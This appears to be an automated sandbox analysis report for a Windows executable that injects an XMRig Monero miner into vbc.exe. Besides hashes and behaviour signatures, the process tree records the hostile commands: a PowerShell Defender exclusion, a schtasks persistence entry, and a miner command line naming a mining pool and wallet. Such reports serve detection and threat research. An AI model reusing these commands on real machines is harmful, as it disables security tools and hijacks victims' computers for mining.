Resubmissions
06/03/2024, 22:46
240306-2pzx2abc39 723/12/2022, 20:25
221223-y7mhwahb34 1023/12/2022, 20:11
221223-yx8ncscc9x 1023/12/2022, 20:03
221223-ys7v9sha97 10Analysis
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max time kernel
93s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
23/12/2022, 20:03
Static task
static1
Behavioral task
behavioral1
Sample
896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
Resource
win7-20220812-en
General
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Target
896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe
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Size
2.1MB
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MD5
55a350a007f6943a7e09f4abfdfa6979
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SHA1
c94e84ddbb6f525cfa675791c7f2d9b36d28a3ef
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SHA256
896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80
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SHA512
707269690787a70980cfc2658592cef762503ce7228fdfa56f5d584552327d28e338cc877fb37b1414f451a9c05a05fe3e134bc0197563a266fd62ab539bdc16
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SSDEEP
49152:yMkkwgEEIRmnl1DVHYYhdxiUFZ4l7jl1nUI3gg+cnIFPsxdgyg:yDkfRX4UTDennUI3gvcIlRz
Malware Config
Signatures
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XMRig Miner payload 6 IoCs
resource yara_rule behavioral2/memory/3368-159-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3368-160-0x0000000140343234-mapping.dmp xmrig behavioral2/memory/3368-161-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3368-162-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3368-164-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3368-168-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe -
Uses the VBS compiler for execution 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4896 set thread context of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3644 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3668 powershell.exe 3668 powershell.exe 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 648 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe Token: SeDebugPrivilege 3668 powershell.exe Token: SeLockMemoryPrivilege 3368 vbc.exe Token: SeLockMemoryPrivilege 3368 vbc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3368 vbc.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 4896 wrote to memory of 3668 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 81 PID 4896 wrote to memory of 3668 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 81 PID 4896 wrote to memory of 1300 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 89 PID 4896 wrote to memory of 1300 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 89 PID 1300 wrote to memory of 3644 1300 cmd.exe 91 PID 1300 wrote to memory of 3644 1300 cmd.exe 91 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92 PID 4896 wrote to memory of 3368 4896 896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe 92
Processes
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C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"C:\Users\Admin\AppData\Local\Temp\896bad806fe646d498f70e456adb6296a5199f81ce4daaae2b8c65fad9426f80.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4896 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3668
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"3⤵
- Creates scheduled task(s)
PID:3644
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3368
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